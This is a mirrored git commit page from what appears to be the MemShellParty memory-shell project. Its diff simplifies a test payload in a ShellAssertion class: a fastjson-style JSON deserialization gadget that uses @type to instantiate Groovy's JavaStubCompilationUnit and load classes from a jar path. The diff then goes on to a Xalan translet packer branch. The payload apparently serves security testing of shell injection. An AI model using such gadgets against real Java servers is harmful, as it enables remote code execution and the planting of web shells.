mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
test: simplify payload
This commit is contained in:
@@ -145,10 +145,8 @@ public class ShellAssertion {
|
||||
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
|
||||
" \"config\":{\n" +
|
||||
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
|
||||
" \"classpathList\":[\"file://" + jarPath + "\"]\n" +
|
||||
" },\n" +
|
||||
" \"gcl\":null,\n" +
|
||||
" \"destDir\": \"/tmp\"\n" +
|
||||
" \"classpathList\":\"file://" + jarPath + "\"\n" +
|
||||
" }\n" +
|
||||
"}";
|
||||
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
|
||||
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
|
||||
Reference in New Issue
Block a user